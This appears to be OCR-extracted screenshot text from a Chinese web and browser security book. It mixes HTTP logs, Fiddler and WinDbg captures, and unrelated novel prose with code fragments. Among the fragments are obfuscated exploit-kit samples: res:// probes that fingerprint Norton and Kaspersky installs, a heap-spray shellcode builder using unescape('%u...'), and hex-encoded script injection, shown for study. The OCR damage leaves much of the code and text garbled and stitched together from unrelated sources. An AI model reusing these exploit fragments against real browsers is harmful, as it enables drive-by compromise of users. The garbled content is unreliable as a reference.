2015-08-09 Host not cached.
2015-08-09 Resolved host successfully: www. baidu.com -> 119.75.218.70
2015-08-09 Sending request via HTTP...
2015-08-09 HTTP connection made.
2015-08-09 Sending Request: GET /
2015-08-09 Sending heade auept-lmqul e : zh-CN,zh;q=0.8,en:q=0.6
2015+ 0U-09 sending head host : www. Iug du. com
201%5-00-09 sending header: accept : text/html,application/xhtmlexml,applic:
201%-05-09 sending header: user-agent @ Mozilla/5.0 (Windows NI 6.1; woweq
2015-08-09 Sending header: connection : keep-alive
2015-08-09 Sending header: cookie : BATDUIDE7A699) AFOAMEF622CE24FAESSCFTD20
2015-08-09 Sending he : upgrade-insecure-requests : 1
2015-08-09 Got server ;pans : HTTP/1.1 302 Moved Temp ily
2015-0U-09 Got server header: Date:Sun, 09 Aug 2019
2015-08-09 Got server header: Content-Type:text/html
201%+ 08«09 Got server header: Content-Length:215
2015-08-09 Got server header: Connection:Close
2015-08-09 Got server header: Location:https:/ /s baidu. com/
2015-08-09 Found secure reference: https://www.baidu.com/
2015-08-09 Got server header: Server:ows/1.1
2015-06-09 Got server header: X-UA- atible:IE=Edge, chrome=1
2015-08-09 Got server header: Set-Cookie:BD_LASI_QID=16884433218526230576;
2015+ 0U-09 Read from server:

<html >

cheads><title>302 Founde/titles</heads
<body bgcolor="white"s

<center><hl>302 Found</hl></centers>
<hraccenterspr-nginx_1-0-241_BRANCH Branch

Time : Fri Aug 7 13:24:49 €SI 2015</center>
« /had

Qamm B8]
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file Edit Rules Jools Yiew Help GET /book

Tunnel to
Tunnel to
Tunnel to

15

(0 % Replay X+ » Go & Stream beodn Keep: All sessions - @My?m«snnm Bs:vc h®.5rwn

Geokdge

User-Agent: Mozila/S.0 (Windows NT 6.1, WOWGA, Trident/7.0; ﬂrllﬂ)hm
Cookies / Login
Cookde: BD_UPN=1126314351; BAIDUID=6C2563941F687592COCIFEFDFI002084: FG-

Transport
Host: www.baidu.com -

U ——— ] »
| o Y
uwmmmmmwm

Adh | Cacting | Cookies | Raw | JSON | ML

The SyntaxView Inspector displays syntax-highlighted HIML, Script,
CSS, and XML If you're o web developer, you' 1l went this add-on

Download and nstall Syntaciew now..
Learn more about SyntaxView and cther Inspector add-ons...
Remove this page

Rt/ www. oA, cOm
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Ve Codename | API

22 Froyo 8 03%
233-  Gingerbread 10 56%
237
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404 Sandwich

a1x JellyBean 16 147%
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43 18 52%
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<body>
<l-- 12Jooqd J1A9A Y99AH -->

<iframe src="https://www.google.com/?igu=2"></iframe>
</body>
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function Ufe3s(txt) {

1f (window.sf325gtgs7sfdn)

return 0;

var vl = 'LD' + 'OM’,
pa' + 'rseE’ + 'rr’ + 'or’,
loa’ + 'dX’ + 'M.’,
DT’ + 'D X" + 'HTML 1.0 Transitional’,
err’ + 'orC' + 'ode’;
XM + vi;
var resInf = new ActiveXObject("Microsoft.” + v1),
subpath = "c:\\Windows\\System32\\drivers\\" + txt + ".sys";
resInf.async = true;
resInf[v3]('<!DOCTYPE html PUBLIC "-//W3C//' + v4 + '//EN" "res://' + subpath +
if (resInf[v2][v5] != @) {

var cind = "-21" + "47023083";

vartst="",

pe = resInf[v2];

tst += pe[v5] + "\n" + pe.reason + pe.line;

if (tst.indexOf(cind) > @) {

v2 =

return 1;
} else {
return 0;
}
}
return 0;

=0
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wvar a=new Image();
a.src="res://f:\\asoehook.dl1l/#2/#113";
document.all[@].appendChild(a);

<img src="res://f:\asoehook.dll/#2/#113"></img>
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var p = 'push’, i = 'indexOf’;
window[ "Gengz"] = new Function(’text’, "yar cryptKey = rxnYUQplrxnYUQp3, rawArray =
cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); yar
keySize = sortArray.length;for (yar i=0; j<keySize; j++) {keyArray.” + p + "(rawArray.” +
i + "(sortArray[jl));)yar k = keySize - text.length % keySize;for(ygr 1 = @; 1<k;l++)
{text += ' ';} yar endStr = "', j,j,line,newLine;for (j = 0; j < text.length; j +=
keySize) {line = text.gybstr(i,keySize).split('');newLine = '’;for (j = @; j < keySize;
J++*){newLine += line[keyArray[j1];}endStr = endStr +
newLine; }endStr=endStr.replace(/\\s/g,’’);return endStr;");
var Browser = {
Version : function () {
try {
var birks = /malware.dontneedcoffee.com/.test();

} catch (e) {}

var version = 999;
if (navigator.appVersion. indexOf ("MSIE") 1= =1)

version = parseFloat(navigator.appVersion.split("MSIE")[11);
return version;

Y
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If' (!Array. prototype. index0Of) {
i Array.prototype.index0Of = function (obj, start) {
for (var i = (start || @), j = this.length; i < j; i++) {
If (this[i] === obj) {
return i;
}
}

return -1;
|
)|
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function LzofEQ1 peho034s{) {NLCFCICSypbsLmDs= Sting Nwll4242F = fromChaiCode"KzmD 7i616bYq= ‘chaiCodeAl Junction K5i784oi() tyy {var CiPalu =
navigator,usergent toL owerCase{J-var 198Dz = MSIE[\As\d+/itestCiPalu) var EoB7 = WOWEA:/itest(CiPalul-var B70q = AWin4:/itest{CiPalul:var BY
= /Tiident\/(\d)/itest(CiPalu) ? (parselnt{FegExp.$1) +4) : nullf (1B70q && TIBDz) {Ti0%4Cp= B, P4i3QwCh%3q= Eo87 retum 1 Hicatch () retun 0
Hunction YkGlAzadbiFe7id) {var EiadC7 = Fe7id & OxFFFF var 072k7 = Fe7id >> 16) & OFFFFretum “%u' +B3E c2SqmdRH(ER4CT, 4] +%u +BIE c2SaméRit
(0727, 4)
)ruhrzmn :szs{czsmmu:ai, \W/2F9) {var RZYan = CaitoSting(16)whie (RZYan length < WzF3) {(RZYan = 0 +RZYan
uin AZYan

Hunction V72dmg3ve7() {var PVK = 'http://* +window.location. host +'/PVKf += Aausy2geaCsilwindow ZPWzPcgE BqaB())var Wiige =
DURIOB gkbizGymFFvar VkSkak = Math floi(Math.random() * (6 -3) +3)var 23Kiw = “%2E %B4%6C%EC", Eibo = 200"t (PVkLlength > 200)

tetun nullwhile (PVKf length < 200) {PVKf += unescape(EiBo) Jif [Witqe.length > 16)

retun null while (Whgelength < 16) {Witqe += unescape(EiBo)JPVkf += unescape(EiBo) Witge += unescape(EiBo)retum unescape
(YOI34cYMYSraF +Nws3tc2hm2xfidw/(PVkf) +UkSBudmpNys tc2hm2xfidw/(Witge) +KMopoN 35ANV2jvik +%u0000)
Munction Aausy2geoCsiVmt) {var GpD = "ABCDEFGHIKLMNOPGRS TUVWYZabedefghikimnoparstuvwiyz01 23456785+/="var MSS, Mwkw,
Himbh, CiX, Ands, W85a9, FBy3R, Bull, Y27C=0, Ulg="do {CiX = GpD.indexDifymvt.charAl{Y27C++)lAns = GpD.indesDffVmyt chasht(y 27C ++) w553
= GpD.indexDf{Vmvt chaidY27C++)|FBy3R = GpD.indexDfVmyt chardY27C++)| Bwll = Ci<<18 | AnSs<<12 | WE5a3¢<6 | FBY3R MSS = Bull>>16 &
0xff:M3wkw = Bwll>>8 & OxffHimhh = Bl & Oxftif (w5533 == 64 Ul += NLcFCICSypbsLmDs[NwQ4242FMSS ) else i (FBy3R == 64) Ulg +=
INLSFCICSypbsLmDsNWQ4242FIMSS, MSwkw)else Ulg += NLSFCICSypbsLmDs[NwQ4242FMSS, M3wkw, Himbhl-Jwhie (Y27C <
Vimvt lengthl etum Ulg:Jfunction Nus3tc2hm24fidW(CX7U] {var Shl = "for (var Yed = 0:Ye8 < CX7U.length YeS++) {var GhU7KS = CX7U[KzmD7iibYa]
(VeS)var VIFu = ((QhU7KS & 0xF0) >> 4) +1:var H7KNIG = ((QhU7KS & GxF) +1] << B:Sh1 += "%uSh1 += BIEcSqmdR(VIFu | H7KNIE), 4)Jietum Shi }

[ | [oenmasme | (111 ] (20 [20] 31 o) | [ermer | |[memen+ ]| [mamere)+] | samsury+

BIAHNELH BuAmE M8 IP: 220181.111.86, EHER: &, IERATIE: 16ms

ERER

Refenrer  http: //www.baidu.com/ Cockies 0 000:No Connection
Userdgent Mozila/4.0 (compatible; MSIE B.0; Windows NT 5.1: SV Accept  image/gitimage/xs  Method  GET

i . . .
B8 (e BRER—ATRE |, g JsemiscigmiTe.
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window. YO194cYMYSraF = '06060A09060F0D10090C08020B0DACO30F070106090F0A0B090101
window. Uk56xdmp = '09060A0907090909010101010101090F0202010101010101";
window.KMopoN3SAtV2jvrk = '09060A0907090D090101010101010B070D040B0O60A03050E0AQ
window.Ti09%4Cp = 0;
window.P4j3fQwChX3q = false;
window. NLcFCiCSypbsLmDs;
window. NwQ4242F ;
window.KzmD7i6rébYq;|
window.Cxnhvmx2X = function () {
return Ti09y4Cp;
};

function D3fx5an@kfxq3ww8() {
var V1usFzMk466p8g = "66756E6374696F6E204C7A71664551317065686F 303334732829
var Txlh1xiYh6401t = "73756220564679536639706D39576E4C41637028290A656E642¢
function BOGR336j1SN(A7x7Sd21GL5) {
A7x7Sd216L5 = '%u0@' + A7x7Sd21GL5.match(/(..)/g).join( %ude’);
return unescape (A7x7Sd21GL5) ;
}
YO194cYMYSraF = '%u' + YO194cYMYSraF.match(/(....)/g).join('%u’);
Uk56xdmp = '%u’' + Uk56xdmp.match(/(....)/g).Jjoin('%u');
KMopoN3SAtV2jvrk = '%u’' + KMopoN3SAtV2jvrk. match(/( ...)/g).join('%u');
var MD19tsyovd = document.createElement('script’);
MD19tsyovd. language = "javascrint”;
MD19tsyovd. text = BOGR336_]ISN(V1ustMk466p8g),
var Cz903j60415xPdxb = document.createElement('script’');
Cz903j60415xPdxb. language = "vhscript”;
Cz90j60415xPdxb. text = BOGR336JISN(Txlh1x1Yh640|t),
document. getElementById( “U3Rkokj45y") . appendChild(MD19tsyovd) ;
document. getElementById("U3Rkokj45y") . appendChild(Cz903j60415xPdxb) ;
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if (tmp) {
function Check(s) {

var resName = "res://C:\\Program Files\\Norton Internet Security\\Engine\\",
resName2 = "res://C:\\Program Files (x86)\\Norton Internet Security\\Engine\\",

resName3 = "res://C:\\Program Files\\Norton Security with Backup\\Engine\\",

resName4 = "res://C:\\Program Files (x86)\\Norton Security with Backup\\Engine\\",

resName5 = "res://C:\\Program Files\\Norton Security\\Engine\\",

resName6 = "res://C:\\Program Files (x86)\\Norton Security\\Engine\\",

pathdata = [resName + "21.1.0.18\\asOEHook.dl1/#2/#102", resName + "21.6.0.32\\asOEHook.dll/#2/#102",

"22.0.0.110\\uiMain.g11/#2/#941", resName + "22.1.0.9\\uiMain.gll/#2/#941", resName + "22.1.0.9\\gsoy

+ "21.1.0.18\\asOEHook.d11/#2/#102", resName2 + "21.6.

, resName2 + "22.1.0.9\\uiMain.gd]l1/#2/#941", resName2
"21.1.0.18\\asOEHook . d11/#2/#102", resName3 + "21.6.0.
resName3 + "22.1.0.9\\uiMain.dll/#2/#941", resName3 +
"21.1.0.18\\asOEHook . gd11/#2/#102", resName4 + "21.6.0.
resName4 + "22.1.0.9\\uiMain.dl]/#2/#941", resName4 +
"21.1.0.18\\asOEHook . d11/#2/#102", resName5 + "21.6.0.
resNameS + "22.1.0.9\\uiMain.gdll/#2/#941", resName5 +
"21.1.0.18\\asOEHook . d11/#2/#102", resName6 + "21.6.0.
resName6 + "22.1.0.9\\uiMain.dl]/#2/#941", resName6 +
for (var t = @; t < pathdata.length; ++t)
Check(pathdatalt]) ;
pauseIt(500) ;

0.32\\asOEHook . d11/#2/#102", resName2 + "21.7.€
+ "22.1.0.9\\;msouplug . dl1/#2/#200", resName2 +
32\\asOEHook . d11/#2/#102", resName3 + "21.7.0.1
"22.1.0.9\\sQuplug .- d11/#2/#200", resName3 + "2
32\\asOEHook . d11/#2/#102", resName4 + "21.7.0.1
"22.1.0.9\\sQuplug - dL1/#2/#200", resNamed + "2
32\\asOEHook.dl1/#2/#102", resName5 + "21.7.0.1
"22.1.0.9\\msouplug - dl1/#2/#200", resName5 + "2
32\\asOEHook . d11/#2/#102", resName6 + "21.7.0.1
"22.1.0.9\\nsouplug - dl1/#2/4200", resName6 + "2
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int main()

{
double r; main ()
r= domath(2.0, 1.0);
return 0;

double domath (double 1,

double j) double ()
{ main ()

return divide(i, j - 1)
}

double divide (double a,

divide ()
double b) double ()

{ S
return a / BRUZRE matnal

}
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The Joys of HTMLS
Introducing the new HTMLS Hard Disk Filler™ API

Oh hai there... Filling your hard disk with lots of cats...

Used 335 MB of disk space!

Stop the madness! (gives your disk space back)

‘Works in Chrome, Safari (i0S and desktop). Opera and IE. Firefox is immune to this hackery.
Read about how this works. Hacked by Feross.

2516

) star 684 W Tweet

Source code is available. Happy hacking!






OEBPS/Image00206.jpg
he call to LoadLibraryCuext) failed with error 2.
Please check your debugger configuration and/or network access
oaded ntsdexts extension DLL
[synbol search path is: =% Invalid %% : Uerify _NT_SYMBOL_PATH setting
xecutahle search path is:
odLoad: 01000000 B101£000 calc.exe
ModLoad: 7c920000 7c9h3008 ntdll.d1l
ModLoad: 7c880808 7c91e088  C:\WINDOWS\system32\kernel32.d11l
odLoad: 7d590808 ?7dd84000  C:\WINDOWS\system32\SHELL32.d11
odLoad: 77da@@0@ 7749808  C:\WINDOWS\system32\ADUAPI32.d11
odLoad: 77e50808 77¢e2088  C:\WINDOWS\system32\RPCRT4.d11
odLoad: 77fc@@0@ 77£d100@  C:\WINDOWS\system32\Secur32.d1l
odLoad: 77e£0@08 77£39088  C:\WINDOWS\system32\GDI32.d11
ModLoad: 77d10800 77daBB8  C:\WINDOWS\system32\USER32.d11
odLoad: 77be@@0@ 77c38808  C:\WINDOWS\system32\nsvcrt.d1ll
77£40000 77£h60B0  C:\WINDOWS \system32\SHLWAPI .d11
Break instruction exception — code 80808983 (first chance)
eax=0@1alehd ehx=7f£df000 ecx-000BORA7 edx-POBORASH esi-0B1a1f48 edi=B@ialehd
p=B087£b20 ehp=B0B7fc94 iopl=0 nu up ei pl nz na pe nc
ds=0023 es=0823 fs=803b gs-0000 ef 1-00000202
Defaulted to export symbols for ntdl
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CommandLine: c:\windovs\system32\calc.exe
Symbol search path is: %% Invalid **x
0060666060606 MR N
* Symbol loading may be unreliable without a symbol search path *
% Use .synfixz to have the debugger choose a synbol path. *
* After setting your symbol path. use .reload to refresh symbol locations. *
RN N NN RHRNK
J|Executable search path is
ModLoad: 01000000 0101£000 calc.exe
ModLoad: 7c920000 7c9b3000 ntdll.dll
ModLoad: 7c800000 7c91e000 \WINDOWS\system32\kernel32.dll
ModLoad: 7d530000 7dd84000 \VINDOWS\system32\SHELL32 dll
ModLoad: 77da0000 77e49000 \VINDOWS\system32\ADVAPI32 d1ll
ModLoad: 77e50000 77ee2000 :\WINDOWS\system32\RPCRT4 .dll
ModLoad: 77£c0000 77£41000 \WINDOWS\system32\Secur32.dll
ModLoad: 77e£0000 77£39000 \VWINDOWS\system32\GDI32.d1ll
§|ModLoad: 77d10000 77da0000 \VINDOWS\system32\USER32.d11
ModLoad: 77be0000 77c38000 \WINDOWS\system32\msvcrt . dll
ModLoad: 77£40000 77£b6000 :\VINDOVWS\system32\SHLVAPI.dll
(500.4c4): Break instruction exception - code 80000003 (first chance)
eax=00lalebd ebx=7ffdd000 ecx=00000007 edx=00000080 esi=001alf48 edi=00lalebd
eip=7c92120e esp=0007£b20 ebp=0007fc34 iopl=0 nv up ei pl nz na po nc
@lcs=001b ss=0023 ds=0023 es=0023 f£s=003b gs=0000 ef1=00000202
*%% ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
ntdll!DbgBreakPoint
7c92120e cc int 3

Ln 0, Col O Sys 0:<Local Proc 000:500 Thrd 000:4cd /4 (¥
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> var str = "\x41 simple \'example\'~\n!"; console.log(str);

A simple 'example'~
1
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561 RmFABMWOA = //nxLoouNdyIIONz

562 "ezVI"+"Migbc"” . substr(6,8)/*RU %/ ;

563 nmfAbWwoA = nmfAbWwoA+[]. /*uCanN*/Jmn/*lEthBQ*/ (dLpy) + "x1yG";
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file:///F:/x.hta x | q5

€)@ site://Fi/xbtn v c’rHVO\ Google <Cir

file:///F:/xhtm

>iwa | @B | X #sm

w<html>

<head></head>

<a href="javascript:<!--%@Aalert(location.href);">a</a>
</body>
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raNNhndhLxLVVb = window; va

Lissr ik d s ML MMPAO= AR T csmaa |






OEBPS/Image00303.jpg
var a="";for(i=0;i<65535;i++)a+="A";console.log(a);
undefined

logoutput.length;
1024
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(3) statistics | & Inspectors | £ autoResponder | (4 Composer | [E] Log | [ Filters | = Timeline

Headers | TextView | WebForms | HexView | Auth | Cookies ||Raw J50N | XML |

GET https://www.google.com. hk/gen_2047v=3&s=webfatyp=csid&imc=1&imn=1&imp=0&ei=VU

Host: www.google.com.hk

Connection: keep-alive

accept: image/webp,image/*,*/*;q=0.8

User-aAgent: Mozilla/5.0 (windows NT &.1; wOwe4) ApplewebkKit,/537.36 (KHTML, like
Referer: https://www.google. com. bk,

Accept-Encoding: gzip, deflate, sdch

Accept-Languag zh-CN,zh;gq=0.8

Cookie: PREF=10- N : - 2 50:
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¥inDbg: 6. 12. 0002. 633 X86
Tile Edit Yiew Debug Yindew Melp

| £ Command ~ Pid 3812 — WinDbe:6. 12. 0002, 633 X86

76c60000 7600000 SVINDOWS\systenl 2N IMAGEHLIP dl1

72c90000 72¢99000 “VINDOVS systend2 vdraud drv

72c80000 7288000 \WINDOVS \systeni2\asacai? drv

77ba0000 77bs?7000 \WINDOWS \systend2 nidinap.dll

. 74650000 74674000 .. \WINDOVS \systend2 asintl . dll

71c00000 71edb000  C-\WINDOWS\systeni2 actxprey dll

63300000 63434000 \VINDOWS\systenl2vjscript .dll

69760000 69776000  C “WINDOWS\system32\laullrep dil

76240000 762e0000 VINDOWS systend2\WINSTA d1l

$1dd0000 Ste25000 \WINDOVS \systend 2 \NETAP132 di1

76620000 76£28000 C: \WINDOWS\systen32 UTSAPI32 d1]
(eed4.719): Bresk instruction exception - code 9000000) (first chance)
max=711dd000 ebx=00000001 ecx«00000002 edx=00000003 es1=00000004 oda=00000005
mip=7092120m esp=0391ffoe ebpe0331FF4 iopl=0 nv up ei pl zr na pe ne
cs*001b s5+002) ds=0023 es+0023 £s+0039 g3+0000 «£1=00000246
ntdll! DbgBreskFoint
70921200 oo int 3
0:017> q
(e=d.118). Aocess violation - code c0000005 (!!! second chance !11)
[pax=0cOclclc ebx=0000001f Acx=00202b30 edx=0000000d esi=00000000 odi=DclcOc0f
eip=0c0cOcOc espe0224be?d ebpe022dbeldc iop nv up ei pl nz ne pe nc
cs«001b  5<0023 ds«0023 es-0023 ©11-00000208
0chclcde Dele
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- o

| do mix in the world worth having; and with no very
benignant expression. “Do you compare your conduct with
his?* "No. | hope won't
YOU must have a notion," said "you have taken place, when it all
came out, how he was out of the matter, and my cousins left the

> ;ﬁywm U SSRAN JmS8IwYXVG. RVKQW[TRAR LCN.
09x AyYbSB g5PxwnBhdU bFU pHA. QAb288KV

CUYNy0J GDFvZWYc FwNxM. SYdD UR9dHg 7UIIDOR.
irDELEIC IoARMGE XFY ZwOIGDF vZGY. KJ11gVTp JDhk6LC

vHRxUIhAZLQ kYNSOSN RdaXXEOZx4. BAjAg Lx1 VECO}
AOSF FOaH99UgUdPx. EoHJNLLT YCly MCIAJSGKIVT CA9

goCIDSY ZWYF GxolGiBHDh 0bGD. onBz8X0z KOSVVMIyY2

hOFWjcDCD 4KDS ECOy w+FEVx. $Ge eAQ Iwl. C90F

\Q7Bhcm HCUPPgM-+dF] PVCVOZx RICIE. hOz IbHRpxBildQ
FuWLIP cQluBwwDIXR/ AQgWAWQz. YDRIUXQTKM

V peWn halEBTTDIg KmZaBBU;VS SIVUxkdHgyU. kSUM
ICBFC oculqvma: bEJ. pxgwwp,“ IVW xUSDSg

I

JavaScript $ <REFTR>C

To ' Q- Ph6f_jazTzriFPQdmkD

TENLLINAIIDV LILLDY 1 IWJLVALAULLLVIIVLIIWL )
2aFZZEG5rm11j ZmDyWTmTZVZZ9Shk3ZRmSul
Uvw ',
mmlmma = '73b50fd2d775dd460¢
PdUINUVh1PdUINUVh3 =
' 1698m15teu20Dde2ahbL1VIVEINpX2D31ai
VSP531BGexsMIWYUakEb LVZZWZDX5xoV1SrE
TZ5UZRHNINZM LbHmy2Zk3NBcJhmkkDIhzN3j
N2DNKOZI jA%DAEWYiG12zZ2jYFYO
HlgPAaIHk= "ZsHNeTkVHR";
var sSMkQoNbg;

:ar IKwXdHBA;
var SsvhqGPr ="";

= //VUSAEjPbcLW
"0bWig"+"okOUJCNI" . |ub|tl' (12,14) /#K1

0 hZkIwQ (nJ [sSMkQONE
,SsvhqGPr)
// skip the boolean and the targ
</script>
<hl>

misters was prudent enough to inform b
believe. I am not likely to happer
your manner that made acquainted
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| @ c:\Documents and Settings\hdninistratort

BABPATIRY — Microsoft Windows

ATRBEPERHEI, Vindovs BEXHTHEF.

| &#i:  Internet Explorer
BTE:

Microsoft Corporation

BEB/TRPESRPRBRENETEMZERN. EE2iftae
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@) <script>alert(1)</script>... % |

©)iie% 58 AR nE 58 A NG &S M 8E B

| <script>alert(1)</script>
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El<script>
flag = 1;
var ahQAyHn1BEif = false; var mKiJBs, rgNNhndhLxLVVb,dLpy;

quNhndhLlLVVb window; var JtKZamOWYiF,ezVIxlyG, LDHRePTqZGwp = true;
Bl function MtMDQz(FO){| var PF= "1’ +
function hdpu(MfF4, Kée){ var phe=
); var DIKx; ezVIxlyG= 11D1Kx? true: (
+ function (norJ, $1){ var gm3sXy= dipy, pl=
); mKiJBs=
'd1FNYk1oS1plUUp1V2Y=";

H

FXNYUQPTrXnYUQP3 = 'MGKeDZnyrUth283jiBvz',

rXxnYUQn1rxnYUQn3 = '.hihsaontnaskyioboodaepcr. i osoh mer ',
rXnYUQz1rxnYUQz3 = 'lh_-1cINisDI6PwRhrbmpSC606xAsbsZuotFWeQ__-R 2 sds b
rXxnYUQb1rxnYUQb3 = '6UVncFMIYU@MCUMtkzWZxDIUOBENZSncTxWZTR3PuUhDAZspVa3zeZmlki
FXNYUQWIrXnYUQW3 = 'HmNwbwJ3baGTVBn92Q030G1KONShUSXNVF 3d3NGRUTZ1V32cSTORChKQF§

yNsCDaLWzN= "qgagylLaNZ";
var nmfAbWwoA;

H
var QXuSacl;
QXuSacI= ['Y', 'r', ‘d", 'P'].join(dLpy);
if (1k{ far( var k=0; k<| ko) ()Y
nmfAbWwoA = //nxLoouNdyllQMz
"ezVI"+"Migbc".substr(6,8)/+RU */ ;
nmfAbWwOA = nmfAbWwoA+[]. /*uCnLfN+/join/*iEJtfBQ*/ (dLpy) + "x1yG";
rgNNhndhLxLVVb[nmf AbWwoA] (' TQgaaGLOVY1aQT "', QXuSacl)

r</script>

o

Cl<script>
if (1k){ for( var k=0; k<l;k++){;}}
nmfAbWwoA =
/*3JILRUIBObON */ "ez"+"CvOMUNtsD".substr(14,11)/+YgxM */ ;
nmfAbWwOA = nmfAbWwoA+[]./*LKdcxay*/join/*ihfcfOxes*/ (dipy) + “VIxlyG";
rgNNhndhLxLVVb[ nmfAbWwoA] (' STNCIQGNL ', QXuSacl)

F</script>






OEBPS/Image00298.jpg
EE B8BR: F:\Windows\system32\am -

Mindows S2EhiNELSE
$ﬁlﬂ 3 {current?
device partition=F:
path \Windouws\system32\winload.exe
description Windows 7

locale zh—-CN

inherit {hootloadersettings>
recoverysequence {d1?cfe?a-57eB-11e3-9h98-9f32e18%dBc6>
recoveryenabled Yes

sdevice partition=F:

ystemroot \Windows

esumeobhject {d1?cfe?8-57eB-11e3-9h98-9f32e18%dBc6>
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rqiNhndhLxL¥¥b = window; var JtKZamOWYiF,ezVIxlyG
function MtMDOz(FOY{| var PF= '1' +

function hdpu(MfF4, Kee){ var phe=
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IF ('k){ For({ var k=0; k<l;k++){;}}
nmfAbWwoA = //nxlLoouNdyIIQNz
"ez¥I1"+"Migbc".substr(6,8)/«RU =/ ;
nmfAbWwos = nmfaAbWwoA+[]./=uCnLfN=/join/+*iEJtfBQ=/ (dLpy) + “xlyG";
rgNNhndhLxLYVb [ nmfabWwoal ( * TQgaaGLOVYLa(T ', QXuSacl)

If (1k){ for( var k=8; k<1;k++){;}}
nmfAbWwoA =
f#jJLRUIBObON #/ "ez"+"CvOMUNtsD”.substr(14,11)/+YgxM =/ ;
nmfAbWwod = nmfAbWwoA+[]./+LKdcxay+/join/*ihfcfOxes*/ (dLpy) + "VIxlyG";
raNhndhLxLVVb [ nmfAbWwoAd { "STNCIOGHL ', Q¥uSacI)
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Process Integrity Image Typ
=] e iexplore, exe

m SynTPHelper. exe
-3 iusb3mon. exe

Name

Description

seguisym. ttf nfa
{AFBFOF1A-BEES. ..

shell3d2, d11. mui Windows #PFEEM DLL

MacType. d11 The Ultimate Font Rasterizer
QQIEHelperdl. d11 QQDownload Plugin DLL
apisetschema. d11  ASLR ApiSet Schema DLL

invnlare awn AGT R Tutarnat Fenlamaw
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<script type = "text/javascript” >
<l--
alert("This Script will run);
</ script>
FREAFAT
<script type ="text/javascript” > SCfRNAT
alert("This Script will also run®);
-->

alert("This will still run®); FREBHAT
</ script>
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a6 vYar nmtADWWOA ;
557 i
558 var QXuSacl;
559 Qusser= ['v', 'r', 'a', 'd', 'P'].join(dlpy);
560 IFf (1k){ For( var k=0; k<l;k++)}{;}}

561 nmfAbWwoA = //nxLoouNdyIIQNz

562 "ezVI"+"Mighc" . substr(6,8)/*RU %/ ;

563 nmfAbWwoaA = nmfAbWwoA+[]./*uCnLfN#*/join/*iEJtfBQ*/ (dLpy) + "xlyG";
564 rgNNhndhLxLVVb[ nmfAbWwohl { ' TOgaaGLDVY1a(T ', QXuSacl)

565

566 F</script>

567

568 [<script>
569 If (M) Ffor( var k=0; k<l;k++){;}}

570 nmfAbWwos =

571 S*3JILRUJBOboON */ "ez"+"CvOMUNtsD".substr(14,11)/*YgxM =/ :

572 nmfAbWwos = nmfAbWwoA+[]./*LKdcxay*/join/*ihfcfOxes*/ (dLpy) + "VIxlyG";
573 raNNhndhLxLVVbL nmfAbWwoA (' STNCIQGNL ', QXUSael)

574

575 F</script>
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=

baidu.com/favicon.

) B
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location. href

"https: /e . baldu. com/Favicon . oo i i AR A0 AL A A AR A AR A AN RS AR A A AR AL

location.href.length
2883
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<!doctype html>

<html>

<meta http-equiv="X-UA-Compatible"” content="IE=EmulateIE8" >
<head>

</head>

<body>
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bb </textarea>
67 |%p class="text” id = "YradPTQgaaGLDVY1aQT
>V3E 6CycMJCoO+ dhMRGhYUBwd FFEh2ekJ gbU53AA

guOCcF IRt gP2lV a31Ca moCPggTPj pMOgb54aFA:z
eBi81En85 E2R UOiY5BTof ODwBN3t VakYRMCERLF
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0:014> dd 09ecd000
09ecd000 400003f0
092cd010 00000000
09ecd020 00000000
09ecd030 00000000
09ecd040 00000000
09ecd050 00000000
09ecd060 00000000
092cd070 00000000

08313000
00000000
00000000
00000000
00000000
00000000
00000000
00000000

00000000
00000000
00000000
oooooooo
0ooooooo
00000000
00000000
00000000

00000000
00000000
00000000
0ooooooo
oooooooo
0ooooooo
00000000
000000O0D
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=]

2] ey devenv, exe High

ﬁ MSBuild. exe High
SIE|

cale. exe High

= apmaxp. axe High

 procexpbdl Copmand Line:
ms:mﬂ‘ﬂolper. ex CALC

s iusb3mon., exe Path:
&' I F:\Windows\SysWOWGd \calc. exe
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Console | Search Emulation Rendering

O ¥ <topframe> ¥ [JPreserve log

© Refused to execute script from 'http://127.8.8.1/x.gif' because its y.htm:1
MIME type ('image/gif") is not executable.
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Mame Sta.. | Type Initiator | Size Time | Timeline — 5t

y.htm 304  document Other 211B 3ms |
wgif 304  octet-stream  y.htm:l 211B | 11..
wgif 304 script y.htm:2 G938 | 12..






OEBPS/Image00193.jpg
20
21
22
23
24
i
26

var tmp;
try {

tmp = new ActiveXObject( 'Kaspersky.

Target();
} catch (e) {
tmp = false;

IeVirtualKeyboardPlugin.

JavascriptApi.1');
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&gk

#H % ¥ e

img-stco B s SR eR

style-src. NSRS

connect-src IS ERER B SRS, HIELERS, RKRSWE HTTP 400
font-srco Web Font /i 5585

object-stce HEFINESEEE, BIE<OBJECT>. <EMBED>S#745

media-sreo SZEAEMB S, AFE<AUDIO>. <VIDEO>%1F.

frame-src. TR ISR

sandbox- o BT E K E 5198 /5 F sandbox (22E{LLT iframe #] sandbox B %) »
report-uriv EREEHORIRIEER LIRAE
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= Ty
265 | var ahQAYHNIBEif = false;
26 | if(flag == 1)
21 o {
28 k }rthndhl.:t.wb [YPub] ( Ujcs )
29
30 else
N M {
32 rqNNhndhLxLVVb [YPubl ( UjcS )
33 - }

|

- =
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<head>

<style>

</style>

</head>

<body>

<input name="qg" value="">
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W B
default-src BRINSENS, b T i SRR B A L
script-src JEIAS & S g
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W -

w s

function (norJ, $1)

=3¢

var qm3sXy= dLpy, pl='cript’, OAPX= 'VBs' + pl, H67='execS'+pl,
Math, kw= 'P', UjcS= dLpy, yMwnso='e', jn@Mr= ‘L', F9k2c=qm3s

document, WY='sefd';

var oKfQOK= ('aT').substr ( 1 )+ 'M' +jn@Mr, XODRU=Math.ro
dMS= ‘vvvvvlvmvvvvy', tP= ‘e’', qYZ5kY= ‘rH’', YPub=tP+yMwnso, IL
ijx6= ijx6 [iCQle] ( 4, 3) +('Rt') [iCQle] ( s4W09 , s4W09 ) -
EFxgrE [kw +3jM] ) )<K1DMU?2 + 1:QLG , EFxgrE [kNEV@6] ( EFxq

» 1)

1 F(rgNNhndhLxLVVb [ 'YdMpcV]']==gm3sXy)
{

mKiJBs = gm3sXy;

wendorw.AC91 = doRsw.Qxt ( )
}

ILqY2Z=oNpXxV [ijx6]1 ( $1 + norJ);
ILqY2Z= ILqQY2Z ['in' +'ne’+ qYZSkY+ oKfQOK];
UjeS=  hdpu ( ILqY2Z [F9%2c] ( /\s/g , qm3sXy

1£(ahQAyHN1BEif)
{

UjcS=UjcS.replace ( /\\r\\n/g, ngQUZIVtU);
rgNNhndhLxLVVb [H67] ( UjcS , OAPX );
ahQAyHnlBEif=false

